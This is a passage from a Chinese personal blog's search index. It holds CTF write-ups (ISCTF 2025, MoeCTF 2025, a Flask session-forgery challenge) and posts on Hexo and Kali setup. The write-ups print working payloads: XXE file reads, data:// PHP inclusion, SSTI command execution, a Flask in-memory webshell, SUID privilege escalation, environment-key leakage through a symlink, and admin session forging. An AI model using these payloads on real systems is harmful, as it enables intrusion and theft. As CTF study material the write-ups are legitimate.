[{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/domains/ctf/","section":"领域","summary":"","title":"CTF","type":"domains"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/categories/Web/","section":"方向","summary":"","title":"Web","type":"categories"},{"content":"","date":"2025-12-03","externalUrl":null,"permalink":"/categories/Linux/","section":"方向","summary":"","title":"Linux","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/%E6%95%B0%E5%AD%A6%E5%88%86%E6%9E%90/","section":"方向","summary":"","title":"数学分析","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/%E4%BC%98%E5%8C%96/","section":"方向","summary":"","title":"优化","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/Crypto/","section":"方向","summary":"","title":"Crypto","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/%E7%BC%96%E7%A8%8B/","section":"方向","summary":"","title":"编程","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/%E9%AB%98%E7%AD%89%E4%BB%A3%E6%95%B0/","section":"方向","summary":"","title":"高等代数","type":"categories"},{"content":"","externalUrl":null,"permalink":"/domains/math-contest/","section":"领域","summary":"","title":"数学竞赛","type":"domains"},{"content":"","externalUrl":null,"permalink":"/categories/%E9%A2%84%E6%B5%8B/","section":"方向","summary":"","title":"预测","type":"categories"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/categories/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/","section":"方向","summary":"","title":"博客搭建","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/Reverse/","section":"方向","summary":"","title":"Reverse","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/%E8%A7%A3%E6%9E%90%E5%87%A0%E4%BD%95/","section":"方向","summary":"","title":"解析几何","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/%E8%AF%84%E4%BB%B7/","section":"方向","summary":"","title":"评价","type":"categories"},{"content":"","externalUrl":null,"permalink":"/domains/math-modeling/","section":"领域","summary":"","title":"数学建模","type":"domains"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/domains/technology/","section":"领域","summary":"","title":"技术学习","type":"domains"},{"content":"","externalUrl":null,"permalink":"/categories/Pwn/","section":"方向","summary":"","title":"Pwn","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/%E7%BB%9F%E8%AE%A1%E5%88%86%E6%9E%90/","section":"方向","summary":"","title":"统计分析","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/Misc/","section":"方向","summary":"","title":"Misc","type":"categories"},{"content":"","externalUrl":null,"permalink":"/categories/AI/","section":"方向","summary":"","title":"AI","type":"categories"},{"content":"","date":"2025-11-14","externalUrl":null,"permalink":"/categories/%E7%BB%BC%E5%90%88/","section":"方向","summary":"","title":"综合","type":"categories"},{"content":" web # Bypass # src：\n\u0026lt;?php class FLAG { private $a; protected $b; public function __construct($a, $b) { $this-\u0026gt;a = $a; $this-\u0026gt;b = $b; $this-\u0026gt;check($a,$b); eval($a.$b); } public function __destruct(){ $a = (string)$this-\u0026gt;a; $b = (string)$this-\u0026gt;b; if ($this-\u0026gt;check($a,$b)){ $a(\u0026#34;\u0026#34;, $b); } else{ echo \u0026#34;Try again!\u0026#34;; } } private function check($a, $b) { $blocked_a = [\u0026#39;eval\u0026#39;, \u0026#39;dl\u0026#39;, \u0026#39;ls\u0026#39;, \u0026#39;p\u0026#39;, \u0026#39;escape\u0026#39;, \u0026#39;er\u0026#39;, \u0026#39;str\u0026#39;, \u0026#39;cat\u0026#39;, \u0026#39;flag\u0026#39;, \u0026#39;file\u0026#39;, \u0026#39;ay\u0026#39;, \u0026#39;or\u0026#39;, \u0026#39;ftp\u0026#39;, \u0026#39;dict\u0026#39;, \u0026#39;\\.\\.\u0026#39;, \u0026#39;h\u0026#39;, \u0026#39;w\u0026#39;, \u0026#39;exec\u0026#39;, \u0026#39;s\u0026#39;, \u0026#39;open\u0026#39;]; $blocked_b = [\u0026#39;find\u0026#39;, \u0026#39;filter\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;pa\u0026#39;, \u0026#39;proc\u0026#39;, \u0026#39;dir\u0026#39;, \u0026#39;regexp\u0026#39;, \u0026#39;n\u0026#39;, \u0026#39;alter\u0026#39;, \u0026#39;load\u0026#39;, \u0026#39;grep\u0026#39;, \u0026#39;o\u0026#39;, \u0026#39;file\u0026#39;, \u0026#39;t\u0026#39;, \u0026#39;w\u0026#39;, \u0026#39;insert\u0026#39;, \u0026#39;sort\u0026#39;, \u0026#39;h\u0026#39;, \u0026#39;sy\u0026#39;, \u0026#39;\\.\\.\u0026#39;, \u0026#39;array\u0026#39;, \u0026#39;sh\u0026#39;, \u0026#39;touch\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;php\u0026#39;, \u0026#39;f\u0026#39;]; $pattern_a = \u0026#39;/\u0026#39; . implode(\u0026#39;|\u0026#39;, array_map(\u0026#39;preg_quote\u0026#39;, $blocked_a, [\u0026#39;/\u0026#39;])) . \u0026#39;/i\u0026#39;; $pattern_b = \u0026#39;/\u0026#39; . implode(\u0026#39;|\u0026#39;, array_map(\u0026#39;preg_quote\u0026#39;, $blocked_b, [\u0026#39;/\u0026#39;])) . \u0026#39;/i\u0026#39;; if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) { return false; } return true; } } if (isset($_GET[\u0026#39;exp\u0026#39;])) { $p = unserialize($_GET[\u0026#39;exp\u0026#39;]); var_dump($p); }else{ highlight_file(\u0026#34;index.php\u0026#34;); } 注意 __construct 不可以直接引用 因此 无法让\u0026amp;a = __construct 来调用 此外 $a(\u0026quot;\u0026quot;, $b); 的形式 无法通过 \u0026amp;a =FLAG 类 来新建对象 触发魔术方法 因此 __construct function 是干扰项 只需专注 __destruct() 由$a(\u0026quot;\u0026quot;, $b); 想到create_function ()函数\ncreate_function (\u0026#39;\u0026#39;.$a); 等价于\neval(\u0026#34;function lambda_x() { $b }\u0026#34;); 即 创建匿名函数 函数调用时执行$b 注意是调用时 因此直接令$b=system(\u0026lsquo;cat /flag\u0026rsquo;)不可以 因为这样只是创建函数 没有进行调用 令$b= \u0026lsquo;} \u0026rsquo; . $cmd . \u0026rsquo; /*\u0026rsquo;； 才可以正确执行指令 参考https://blog.csdn.net/smnicdoumeiyou/article/details/155707160有详细解释\n接下来便是绕过waf $a 不需要 看$b\n","date":"2025-12-11","externalUrl":null,"permalink":"/2025/12/11/ISCTF-2025-WP/","section":"Posts","summary":"web # Bypass # src：\n\u003c?php class FLAG { private $a; protected $b; public function __construct($a, $b) { $this-\u003ea = $a; $this-\u003eb = $b; $this-\u003echeck($a,$b); eval($a.$b); } public function __destruct(){ $a = (string)$this-\u003ea; $b = (string)$this-\u003eb; if ($this-\u003echeck($a,$b)){ $a(\"\", $b); } else{ echo \"Try again!\"; } } private function check($a, $b) { $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\\.\\.', 'h', 'w', 'exec', 's', 'open']; $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\\.\\.', 'array', 'sh', 'touch', 'e', 'php', 'f']; $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i'; $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i'; if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) { return false; } return true; } } if (isset($_GET['exp'])) { $p = unserialize($_GET['exp']); var_dump($p); }else{ highlight_file(\"index.php\"); } 注意 __construct 不可以直接引用 因此 无法让\u0026a = __construct 来调用 此外 $a(\"\", $b); 的形式 无法通过 \u0026a =FLAG 类 来新建对象 触发魔术方法 因此 __construct function 是干扰项 只需专注 __destruct() 由$a(\"\", $b); 想到create_function ()函数\n","title":"ISCTF 2025 WP","type":"posts"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/","section":"Link's Blog","summary":"","title":"Link's Blog","type":"page"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/tags/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/","section":"知识","summary":"","title":"PHP反序列化","type":"tags"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/tags/%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5/","section":"知识","summary":"","title":"代码注入","type":"tags"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/categories/","section":"方向","summary":"","title":"方向","type":"categories"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/domains/","section":"领域","summary":"","title":"领域","type":"domains"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/tags/","section":"知识","summary":"","title":"知识","type":"tags"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/tags/Markdown%E5%9B%BE%E7%89%87/","section":"知识","summary":"","title":"Markdown图片","type":"tags"},{"content":"","date":"2025-12-11","externalUrl":null,"permalink":"/tags/%E5%9B%BE%E7%89%87%E8%B7%AF%E5%BE%84/","section":"知识","summary":"","title":"图片路径","type":"tags"},{"content":" 前言 # 由于vscode 直接粘贴图片到md里面时 默认是\n![alt text](image-2.png) 但是hexo 识别图片路径在 md文件夹下导致 hexo 和 vscode 没办法 同时预览图片 我看网上没有讲的很完美的方案 于是在此补充\n方法 # 修改_config.yml # 将hexo 的_config.yml配置文件中 post_asset_folder 项改成如下参数\npost_asset_folder: true marked: prependRoot: true postAsset: true 注意 marked部分不能少 少了 图片无法正常识别 修改vscode 配置 # 在vscode 设置 中搜索Markdown › Copy Files: Destination 添加如图配置 即**/*.md 和${documentBaseName}/${fileName} 这可以让你图片粘贴到你md文件对应的文件夹下\n安装 hexo-assert-img # 在你blog的根目录执行\nnpm install hexo-asset-img --save 效果图 # 总结 # 完成以上三步 hexo 和vscode 就可以同时预览图片而不用搬动图片到工作目录了 此外 对于以前md默认粘贴的\n![alt text](image-2.png) 这种图片 hexo 也还是可以正常识别的\n","date":"2025-12-11","externalUrl":null,"permalink":"/2025/12/11/%E8%A7%A3%E5%86%B3hexo%E4%B8%8Evscode%E6%97%A0%E6%B3%95%E5%90%8C%E6%97%B6%E9%A2%84%E8%A7%88%E5%9B%BE%E7%89%87%E7%9A%84%E8%B7%AF%E5%BE%84%E9%97%AE%E9%A2%98/","section":"Posts","summary":"前言 # 由于vscode 直接粘贴图片到md里面时 默认是\n![alt text](image-2.png) 但是hexo 识别图片路径在 md文件夹下导致 hexo 和 vscode 没办法 同时预览图片 我看网上没有讲的很完美的方案 于是在此补充\n","title":"完美解决hexo与vscode无法同时预览图片的路径问题","type":"posts"},{"content":"2025版 kali（VMware17） 无法实现将windows文件直接拖入kali桌面 而是会放在/home/用户/.cache/drop and （忘记了）/下 猜测 和Ubuntu一样是桌面版本问题\n可以回退到kali-2024.4版 没有这个问题 kali 旧版本链接： https://old.kali.org/kali-images/\n","date":"2025-12-03","externalUrl":null,"permalink":"/2025/12/03/kali%E8%99%9A%E6%8B%9F%E6%9C%BA%E4%B8%8D%E8%83%BD%E6%8B%96%E6%8B%BD%E6%96%87%E4%BB%B6%E7%9A%84%E9%97%AE%E9%A2%98/","section":"Posts","summary":"2025版 kali（VMware17） 无法实现将windows文件直接拖入kali桌面 而是会放在/home/用户/.cache/drop and （忘记了）/下 猜测 和Ubuntu一样是桌面版本问题\n","title":"kali虚拟机不能拖拽文件解决方案","type":"posts"},{"content":"","date":"2025-12-03","externalUrl":null,"permalink":"/tags/%E8%99%9A%E6%8B%9F%E6%9C%BA%E6%96%87%E4%BB%B6%E4%BC%A0%E8%BE%93/","section":"知识","summary":"","title":"虚拟机文件传输","type":"tags"},{"content":" Web # 0 Web入门指北 # jsfuck编码 控制台运行即可\n10 第十章 天机符阵 # xxe注入 payload:\n\u0026lt;!DOCTYPE data [ \u0026lt;!ENTITY abc SYSTEM \u0026#34;file:///var/www/html/flag.txt\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;解析\u0026gt;\u0026amp;abc;\u0026lt;/解析\u0026gt; 16 第十六章 昆仑星途 # src：\n\u0026lt;?php error_reporting(0); highlight_file(__FILE__); include($_GET[\u0026#39;file\u0026#39;] . \u0026#34;.php\u0026#34;); payload: data伪协议 拼接后.php无影响\n/?file=data://text/plain,\u0026lt;?php system(\u0026#39;whoami\u0026#39;) ?\u0026gt; Moe笑传之猜猜爆 # js代码审计，可以得知随机数生成并且储存为一个参数randomNumber，直接在控制台里输入这个参数名字即可获得随机数字。\n13 第十三章 通幽关·灵纹诡影 # 图片木马 bp修改文件头即可\n10 第十章 天机符阵_revenge # xxe注入 payload:\n\u0026lt;!DOCTYPE data [ \u0026lt;!ENTITY abc SYSTEM \u0026#34;file:///flag.txt\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;解析\u0026gt;\u0026amp;abc;\u0026lt;/解析\u0026gt; 14 第十四章 御神关·补天玉碑 # .htaccess文件上传 强制解析文件为php\n20 第二十章 幽冥血海·幻语心魔 # 无限制SSTI\n摸金偶遇FLAG，拼尽全力难战胜 # 方法1 # 通过分析js源码 改变游戏时间 第 87 行找到了控制挑战时间的变量：var limitChallengeTime = 3;，在这个语句的下一行设置一个断点，然后刷新网页。 完成游戏后分析网络选项卡 得知 挑战目录和提交目录 payload:\nimport requests session = requests.Session() resp = session.get(\u0026#34;http://localhost:80/get_challenge?count=1\u0026#34;) challenge = resp.json() challenge[\u0026#39;answers\u0026#39;] = challenge[\u0026#39;numbers\u0026#39;] # del challenge[\u0026#39;numbers\u0026#39;] challenge.pop(\u0026#39;numbers\u0026#39;) resp = session.post(\u0026#34;http://localhost:80/verify\u0026#34;, json=challenge) print(resp.text) 方法2(待知) # 使用 selenium 自动化控制浏览器完成本题的任务。\nfrom selenium import webdriver # 若脚本启动时卡死请尝试科学上网，因为要下载某些资源 from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import StaleElementReferenceException, TimeoutException, NoSuchElementException import time dict={ \u0026#34;0\u0026#34;: \u0026#34;━━━━━\u0026#34;, \u0026#34;1\u0026#34;: \u0026#34;·━━━━\u0026#34;, \u0026#34;2\u0026#34;: \u0026#34;··━━━\u0026#34;, \u0026#34;3\u0026#34;: \u0026#34;···━━\u0026#34;, \u0026#34;4\u0026#34;: \u0026#34;····━\u0026#34;, \u0026#34;5\u0026#34;: \u0026#34;·····\u0026#34;, \u0026#34;6\u0026#34;: \u0026#34;━····\u0026#34;, \u0026#34;7\u0026#34;: \u0026#34;━━···\u0026#34;, \u0026#34;8\u0026#34;: \u0026#34;━━━··\u0026#34;, \u0026#34;9\u0026#34;: \u0026#34;━━━━·\u0026#34; } # 初始化驱动 driver = webdriver.Chrome() # 加载页面 url = \u0026#39;http://127.0.0.1:9801/\u0026#39; morse_codes=[] nums=[] #获取数字列表 def get_morse_code(morse_codes): nums=[] for morse in morse_codes: for num, ms in dict.items(): if morse == ms: nums.append(int(num)) print(\u0026#34;nums:\u0026#34;,nums) return nums def input1(nums, button_selectors): for i, num in enumerate(nums): success = click_button_safely(num, button_selectors) if success: print(f\u0026#34;第{i+1}次输入{num}，成功\u0026#34;) else: print(f\u0026#34;第{i+1}次输入{num}，失败\u0026#34;) time.sleep(0.1) def printhtml(): html_content = driver.page_source print(\u0026#34;网页内容： \u0026#34;,html_content) def get_button_selectors(): # 返回按钮选择器而不是元素引用，避免过期引用问题 selectors = { 0: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(11)\u0026#39;, 1: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(7)\u0026#39;, 2: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(8)\u0026#39;, 3: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(9)\u0026#39;, 4: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(4)\u0026#39;, 5: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(5)\u0026#39;, 6: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(6)\u0026#39;, 7: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(1)\u0026#39;, 8: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(2)\u0026#39;, 9: \u0026#39;#inputContent \u0026gt; div.inputContentBtnArea \u0026gt; div:nth-child(3)\u0026#39; } return selectors def click_button_safely(num, selectors, max_retries=3): # 每次点击前重新获取元素，避免过期引用，支持重试机制 for attempt in range(max_retries): try: button = WebDriverWait(driver, 5).until( EC.element_to_be_clickable((By.CSS_SELECTOR, selectors[num])) ) button.click() return True except (StaleElementReferenceException, TimeoutException, NoSuchElementException) as e: print(f\u0026#34;点击按钮 {num} 第 {attempt + 1} 次尝试失败: {type(e).__name__}\u0026#34;) if attempt \u0026lt; max_retries - 1: time.sleep(0.5) # 等待一下再重试 else: print(f\u0026#34;点击按钮 {num} 最终失败: {e}\u0026#34;) return False except Exception as e: print(f\u0026#34;点击按钮 {num} 发生未知错误: {e}\u0026#34;) return False def main(): driver.get(url) time.sleep(2) start_bottom = WebDriverWait(driver, 10).until( EC.element_to_be_clickable((By.ID, \u0026#39;decipherComputerChallengeStartBTN\u0026#39;)) ) start_bottom.click() print(\u0026#34;开始挑战！\u0026#34;) time.sleep(0.2) # 获取按钮选择器而不是元素引用 button_selectors = get_button_selectors() content_item = WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.CSS_SELECTOR, \u0026#39;#leftPanel \u0026gt; div.codeShow \u0026gt; div.codeContent\u0026#39;)) ) clean_morse_code = content_item.text.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;).replace(\u0026#39; \u0026#39;, \u0026#39;\u0026#39;) print(\u0026#34;clean_morse_code:\u0026#34;, clean_morse_code) morse_codes=[clean_morse_code[i:i+5] for i in range(0, len(clean_morse_code), 5)] print(\u0026#34;morse_code：\u0026#34;,morse_codes) for morse in morse_codes: for num, ms in dict.items(): if morse == ms: nums.append(int(num)) print(\u0026#34;nums:\u0026#34;,nums) # 使用安全的点击方法，每次都重新获取元素 for i, num in enumerate(nums): success = click_button_safely(num, button_selectors) if success: print(f\u0026#34;第{i+1}次输入{num}，成功\u0026#34;) else: print(f\u0026#34;第{i+1}次输入{num}，失败\u0026#34;) time.sleep(0.1) time.sleep(10) driver.quit() if __name__ == \u0026#39;__main__\u0026#39;: main() 11 第十一章 千机变·破妄之眼 # 爆破 302跳转 php://filter 伪协议 注意 若用py脚本爆破无法响应302 必须用bp\n15 第十五章 归真关·竞时净魔 # 条件竞争\n21 第二十一章 往生漩涡·言灵死局 # 简单限制ssti 用fenjing绕过 src：\nfrom flask import Flask, request, render_template, render_template_string app = Flask(__name__) blacklist = [\u0026#34;__\u0026#34;, \u0026#34;global\u0026#34;, \u0026#34;{{\u0026#34;, \u0026#34;}}\u0026#34;] @app.route(\u0026#39;/\u0026#39;) def index(): if \u0026#39;username\u0026#39; in request.args or \u0026#39;password\u0026#39; in request.args: username = request.args.get(\u0026#39;username\u0026#39;, \u0026#39;\u0026#39;) password = request.args.get(\u0026#39;password\u0026#39;, \u0026#39;\u0026#39;) if not username or not password: login_msg = \u0026#34;\u0026#34;\u0026#34; \u0026lt;div class=\u0026#34;login-result\u0026#34; id=\u0026#34;result\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;result-title\u0026#34;\u0026gt;阵法反馈\u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;result-content\u0026#34;\u0026gt;\u0026lt;div class=\u0026#39;login-fail\u0026#39;\u0026gt;用户名或密码不能为空\u0026lt;/div\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026#34;\u0026#34;\u0026#34; else: login_msg = render_template_string(f\u0026#34;\u0026#34;\u0026#34; \u0026lt;div class=\u0026#34;login-result\u0026#34; id=\u0026#34;result\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;result-title\u0026#34;\u0026gt;阵法反馈\u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;result-content\u0026#34;\u0026gt;\u0026lt;div class=\u0026#39;login-success\u0026#39;\u0026gt;欢迎：{username}\u0026lt;/div\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026#34;\u0026#34;\u0026#34;) for blk in blacklist: if blk in username: login_msg = \u0026#34;\u0026#34;\u0026#34; \u0026lt;div class=\u0026#34;login-result\u0026#34; id=\u0026#34;result\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;result-title\u0026#34;\u0026gt;阵法反馈\u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;result-content\u0026#34;\u0026gt;\u0026lt;div class=\u0026#39;login-fail\u0026#39;\u0026gt;Error\u0026lt;/div\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026#34;\u0026#34;\u0026#34; else: login_msg = \u0026#34;\u0026#34; return render_template(\u0026#34;index.html\u0026#34;, login_msg=login_msg) if __name__ == \u0026#39;__main__\u0026#39;: app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=80) 22 第二十二章 血海核心·千年手段 # 无回显ssti\n方法1 # 通过static/回显\n{{lipsum.__globals__[\u0026#39;os\u0026#39;][\u0026#39;popen\u0026#39;](\u0026#39;mkdir static; whoami \u0026gt; ./static/out.txt\u0026#39;)}} find / -perm -4000 提权 注意到/usr/bin/rev与正常不同 通过base64、xxd、hexdump等方式读取/usr/bin/rev然后逆向\n#include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char **argv) { for(int i = 1; i + 1 \u0026lt; argc; i++) { if (strcmp(\u0026#34;--HDdss\u0026#34;, argv[i]) == 0) { execvp(argv[i + 1], \u0026amp;argv[i + 1]); } } return 0; } payload:\nrev --HDdss whoami 方法2 # 通过打内存马回显\n{{url_for.__globals__[\u0026#39;__builtins__\u0026#39;][\u0026#39;eval\u0026#39;](\u0026#34;app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.form.get(\u0026#39;cmd\u0026#39;) and exec(\\\u0026#34;global CmdResp;CmdResp=__import__(\\\u0026#39;flask\\\u0026#39;).make_response(__import__(\\\u0026#39;os\\\u0026#39;).popen(request.form.get(\\\u0026#39;cmd\\\u0026#39;)).read())\\\u0026#34;)==None else resp)\u0026#34;,{\u0026#39;request\u0026#39;:url_for.__globals__[\u0026#39;request\u0026#39;],\u0026#39;app\u0026#39;:url_for.__globals__[\u0026#39;sys\u0026#39;].modules[\u0026#39;__main__\u0026#39;].__dict__[\u0026#39;app\u0026#39;]})}} 后续相同\n这是\u0026hellip;Webshell？ # src：\n\u0026lt;?php highlight_file(__FILE__); if(isset($_GET[\u0026#39;shell\u0026#39;])) { $shell = $_GET[\u0026#39;shell\u0026#39;]; if(!preg_match(\u0026#39;/[A-Za-z0-9]/is\u0026#39;, $_GET[\u0026#39;shell\u0026#39;])) { eval($shell); } else { echo \u0026#34;Hacker!\u0026#34;; } } ?\u0026gt; 无字母数字webshell 异或 自增 取反 都可以\n这是\u0026hellip;Webshell?_revenge # src:\n\u0026lt;?php highlight_file(__FILE__); if (isset($_GET[\u0026#39;shell\u0026#39;])) { $shell = $_GET[\u0026#39;shell\u0026#39;]; if (strlen($shell) \u0026gt; 30) { die(\u0026#34;error: shell length exceeded\u0026#34;); } if (preg_match(\u0026#34;/[A-Za-z0-9_$]/\u0026#34;, $shell)) { die(\u0026#34;error: shell not allowed\u0026#34;); } eval($shell); } 详见https://www.freebuf.com/articles/network/279563.html\n","date":"2025-11-29","externalUrl":null,"permalink":"/2025/11/29/MoeCTF-2025-wp/","section":"Posts","summary":"Web # 0 Web入门指北 # jsfuck编码 控制台运行即可\n10 第十章 天机符阵 # xxe注入 payload:\n","title":"MoeCTF 2025 wp","type":"posts"},{"content":"","date":"2025-11-29","externalUrl":null,"permalink":"/tags/SSTI/","section":"知识","summary":"","title":"SSTI","type":"tags"},{"content":"","date":"2025-11-29","externalUrl":null,"permalink":"/tags/XXE%E6%B3%A8%E5%85%A5/","section":"知识","summary":"","title":"XXE注入","type":"tags"},{"content":"","date":"2025-11-29","externalUrl":null,"permalink":"/tags/%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89/","section":"知识","summary":"","title":"条件竞争","type":"tags"},{"content":"","date":"2025-11-18","externalUrl":null,"permalink":"/tags/Session%E4%BC%AA%E9%80%A0/","section":"知识","summary":"","title":"Session伪造","type":"tags"},{"content":" 待解 # 为什么环境变量的key不是test？ # 为什么FileSystem不能通过proc/self/environ访问env文件？ # 前置知识 # proc/self/environ # flask_session # import flask_unsign # 要伪造的数据 data = { \u0026#34;username\u0026#34;: \u0026#34;admin1\u0026#34;, \u0026#34;role\u0026#34;: \u0026#34;admin\u0026#34; } # 已知密钥 secret = \u0026#34;bbc77bd26e9f4ea1af87d1ce3c11e3c4\u0026#34; # 生成伪造的session forged_session = flask_unsign.sign(data, secret=secret) print(forged_session) 复现 # 源码\nimport os import uuid from flask import Flask, request, redirect, url_for,render_template, session, abort, Response app = Flask(__name__) app.secret_key = os.environ.get(\u0026#34;FLASK_SECRET_KEY\u0026#34;, \u0026#34;test_key\u0026#34;) UPLOAD_FOLDER = os.path.join(os.getcwd(), \u0026#34;uploads\u0026#34;) os.makedirs(UPLOAD_FOLDER, exist_ok=True) users = {} def waf(input_str): # just some waf here to make it ssaaaafffffffffffe @app.route(\u0026#34;/\u0026#34;) def index(): if \u0026#34;username\u0026#34; not in session: return redirect(url_for(\u0026#34;login\u0026#34;)) return redirect(url_for(\u0026#34;upload\u0026#34;)) @app.route(\u0026#34;/register\u0026#34;, methods=[\u0026#34;GET\u0026#34;, \u0026#34;POST\u0026#34;]) def register(): if request.method == \u0026#34;POST\u0026#34;: username = request.form[\u0026#34;username\u0026#34;] password = request.form[\u0026#34;password\u0026#34;] if username in users: return \u0026#34;用户名已存在\u0026#34; users[username] = {\u0026#34;password\u0026#34;: password, \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;} return redirect(url_for(\u0026#34;login\u0026#34;)) return render_template(\u0026#34;register.html\u0026#34;) @app.route(\u0026#34;/login\u0026#34;, methods=[\u0026#34;GET\u0026#34;, \u0026#34;POST\u0026#34;]) def login(): if request.method == \u0026#34;POST\u0026#34;: username = request.form[\u0026#34;username\u0026#34;] password = request.form[\u0026#34;password\u0026#34;] if username in users and users[username][\u0026#34;password\u0026#34;] == password: session[\u0026#34;username\u0026#34;] = username session[\u0026#34;role\u0026#34;] = users[username][\u0026#34;role\u0026#34;] return redirect(url_for(\u0026#34;upload\u0026#34;)) else: return \u0026#34;用户名或密码错误\u0026#34; return render_template(\u0026#34;login.html\u0026#34;) @app.route(\u0026#34;/logout\u0026#34;) def logout(): session.clear() return redirect(url_for(\u0026#34;login\u0026#34;)) @app.route(\u0026#34;/upload\u0026#34;, methods=[\u0026#34;GET\u0026#34;, \u0026#34;POST\u0026#34;]) def upload(): if \u0026#34;username\u0026#34; not in session: return redirect(url_for(\u0026#34;login\u0026#34;)) if request.method == \u0026#34;POST\u0026#34;: file = request.files[\u0026#34;file\u0026#34;] if not file: return \u0026#34;未选择文件\u0026#34; role = session[\u0026#34;role\u0026#34;] if role == \u0026#34;admin\u0026#34;: dirname = request.form.get(\u0026#34;dirname\u0026#34;) or str(uuid.uuid4()) else: dirname = str(uuid.uuid4()) if waf(dirname): abort(400, \u0026#34;目录名包含非法字符\u0026#34;) target_dir = os.path.join(UPLOAD_FOLDER, dirname) os.makedirs(target_dir, exist_ok=True) zip_path = os.path.join(target_dir, \u0026#34;upload.zip\u0026#34;) file.save(zip_path) try: os.system(f\u0026#34;unzip -o {zip_path} -d {target_dir}\u0026#34;) except: return \u0026#34;解压失败，请检查文件格式\u0026#34; os.remove(zip_path) return f\u0026#34;解压完成！\u0026lt;br\u0026gt;下载地址: \u0026lt;a href=\u0026#39;{url_for(\u0026#39;download\u0026#39;, folder=dirname)}\u0026#39;\u0026gt;{request.host_url}download/{dirname}\u0026lt;/a\u0026gt;\u0026#34; return render_template(\u0026#34;upload.html\u0026#34;) @app.route(\u0026#34;/download/\u0026lt;folder\u0026gt;\u0026#34;) def download(folder): target_dir = os.path.join(UPLOAD_FOLDER, folder) if not os.path.exists(target_dir): abort(404) files = os.listdir(target_dir) return render_template(\u0026#34;download.html\u0026#34;, folder=folder, files=files) @app.route(\u0026#34;/download/\u0026lt;folder\u0026gt;/\u0026lt;filename\u0026gt;\u0026#34;) def download_file(folder, filename): file_path = os.path.join(UPLOAD_FOLDER, folder ,filename) try: with open(file_path, \u0026#39;r\u0026#39;) as file: content = file.read() return Response( content, mimetype=\u0026#34;application/octet-stream\u0026#34;, headers={ \u0026#34;Content-Disposition\u0026#34;: f\u0026#34;attachment; filename={filename}\u0026#34; } ) except FileNotFoundError: return \u0026#34;File not found\u0026#34;, 404 except Exception as e: return f\u0026#34;Error: {str(e)}\u0026#34;, 500 if __name__ == \u0026#34;__main__\u0026#34;: app.run(host=\u0026#34;0.0.0.0\u0026#34;) 软链接获得key # ln -s /proc/self/environ env_link zip -y ...... session伪造 # import flask_unsign # 要伪造的数据 data = { \u0026#34;username\u0026#34;: \u0026#34;admin1\u0026#34;, \u0026#34;role\u0026#34;: 